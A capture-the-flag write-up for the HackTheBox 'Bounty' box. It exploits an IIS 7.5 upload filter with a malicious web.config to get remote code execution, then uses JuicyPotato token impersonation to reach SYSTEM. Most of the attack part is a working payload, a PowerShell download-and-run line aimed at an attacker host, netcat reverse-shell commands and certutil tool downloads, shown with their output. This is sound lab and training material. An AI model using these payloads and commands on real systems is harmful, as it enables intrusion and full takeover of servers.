# Bounty Writeup - HackTheBox

> Windows IIS box exploited via malicious web.config upload for RCE, then escalated to SYSTEM using token impersonation with Metasploit.

- **URL:** https://hackindex.io/writeups/bounty
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** file-upload, webshell, token-impersonation, iis, privilege-escalation
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-06
- **Updated:** 2026-08-11

Bounty is a Windows box that chains two techniques: a file upload form on IIS 7.5 that blocks `.aspx` but accepts `.config` enables execution via an IIS handler mapping in a malicious `web.config`, and `SeImpersonatePrivilege` on the service account makes JuicyPotato a straight path to SYSTEM.

## Reconnaissance

```bash
rustscan -a $TARGET_IP
# Open 10.129.55.79:80
```

```bash
nmap -sCV -T4 -p80 $TARGET_IP
# PORT   STATE SERVICE VERSION
# 80/tcp open  http    Microsoft IIS httpd 7.5
# |_http-server-header: Microsoft-IIS/7.5
# |_http-title: Bounty
# | http-methods:
# |_  Potentially risky methods: TRACE
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Single port, IIS 7.5. The `X-Powered-By: ASP.NET` response header confirms the stack.

## Web Enumeration

```bash
feroxbuster -u http://$TARGET_IP/ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
  -x .aspx,.txt,.html,.config
# 200      GET   /merlin.jpg
# 200      GET   /transfer.aspx
```

`/transfer.aspx` is a file upload form. Uploading a direct `.aspx` webshell returns "Invalid File. Please try again." -- an extension filter is in place. Fuzzing extensions via Burp shows `.config` is accepted and returns "File uploaded successfully."

## Initial Access

### IIS web.config handler abuse

On IIS, `web.config` can register handler mappings. By mapping `*.config` to `asp.dll`, the uploaded file is processed as classic ASP and any embedded VBScript executes. The filter allows `.config` but never accounted for this.

Craft a `web.config` that registers the handler and drops a reverse shell payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write"
              preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://$ATTACKER_IP/Invoke-PowerShellTcp.ps1')")
%>
```

Append the callback line to the end of Nishang's `Invoke-PowerShellTcp.ps1`:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress $ATTACKER_IP -Port $ATTACKER_PORT' >> Invoke-PowerShellTcp.ps1
```

Serve both files:

```bash
python3 -m http.server 80
```

Start the listener:

```bash
rlwrap nc -lvnp $ATTACKER_PORT
```

Upload `web.config` through `/transfer.aspx`, then browse to `http://$TARGET_IP/uploadedfiles/web.config` to trigger execution. IIS processes the VBScript, which fetches and runs the PowerShell reverse shell.

```bash
rlwrap nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49158
# Windows PowerShell running as user BOUNTY$ on BOUNTY
# PS C:\windows\system32\inetsrv> whoami
# bounty\merlin
```

Shell as `bounty\merlin`.

## Privilege Escalation

### SeImpersonatePrivilege via JuicyPotato

```bash
whoami /priv
# Privilege Name                Description                               State
# ============================= ========================================= ========
# SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
# SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
# SeAuditPrivilege              Generate security audits                  Disabled
# SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
# SeImpersonatePrivilege        Impersonate a client after authentication Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

`SeImpersonatePrivilege` is enabled. Serve JuicyPotato and `nc.exe` from the attacker box and pull them down on the target:

```bash
certutil.exe -urlcache -split -f http://$ATTACKER_IP/JuicyPotato.exe C:\Windows\Temp\jp.exe
certutil.exe -urlcache -split -f http://$ATTACKER_IP/nc.exe C:\Windows\Temp\nc.exe
```

Verify the impersonation works:

```bash
C:\Windows\Temp\jp.exe -t * -p cmd.exe -a "whoami" -l 1337
# [+] authresult 0
# {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
# [+] CreateProcessWithTokenW OK
```

SYSTEM impersonation confirmed. The `*` flag lets JuicyPotato choose `CreateProcessWithTokenW`, which works for the token but does not attach stdin/stdout correctly for an interactive shell with Netcat. Force `CreateProcessAsUser` with `-t u` instead:

```bash
C:\Windows\Temp\jp.exe -t u -l 1337 -p C:\Windows\Temp\nc.exe -a "-e C:\Windows\System32\cmd.exe $ATTACKER_IP 4444"
```

```bash
rlwrap nc -lvnp 4444
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49319
# Microsoft Windows [Version 6.1.7600]
# C:\Windows\system32>whoami
# nt authority\system
```

SYSTEM via token impersonation through a COM server coerce.

##

Related
